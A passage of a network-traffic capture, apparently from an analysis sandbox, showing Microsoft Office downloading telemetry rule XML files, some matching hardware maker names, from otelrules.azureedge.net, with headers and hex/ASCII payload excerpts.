2024-10-30 19:14:01 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191401Z-16849878b7867ttgfbpnfxt44s00000008bg000000008wks x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:01 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191401Z-16849878b78qf2gleqhwczd21s00000008p000000000e0e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:01 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:02 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:02 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8d7929b6-101e-0017-6edc-2647c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191402Z-17c5cb586f6ks725u50g36qts800000000g0000000003rw0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:02 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: def6a666-601e-0001-6e47-2afaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191402Z-17c5cb586f6z6tq2xr35mhd5x0000000012g000000007u0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:02 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:02 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191402Z-16849878b78x6gn56mgecg60qc0000000a4g00000000z1dt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:02 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:02 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bf2855ec-b01e-0084-57b7-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191402Z-16849878b786lft2mu9uftf3y400000009q000000000h4g9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:02 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:02 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:02 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c990e8a6-c01e-0034-078c-2a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191402Z-159b85dff8f2qnk7hC1DFWwb240000000100000000003r8u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:02 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:03 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191403Z-16849878b78sx229w7g7at4nkg00000006m000000000ymvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:03 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191403Z-17c5cb586f6gkqkwd0x1ge8t04000000093g000000006u9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:03 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191403Z-16849878b78wv88bk51myq5vxc00000008sg000000009uke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:03 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:03 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: afbd30f1-101e-007a-739c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191403Z-r197bdfb6b4hsj5bywyqk9r2xw0000000a1000000000bm4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:03 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:03 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:03 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191403Z-16849878b78bcpfn2qf7sm6hsn0000000a1000000000m2bm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
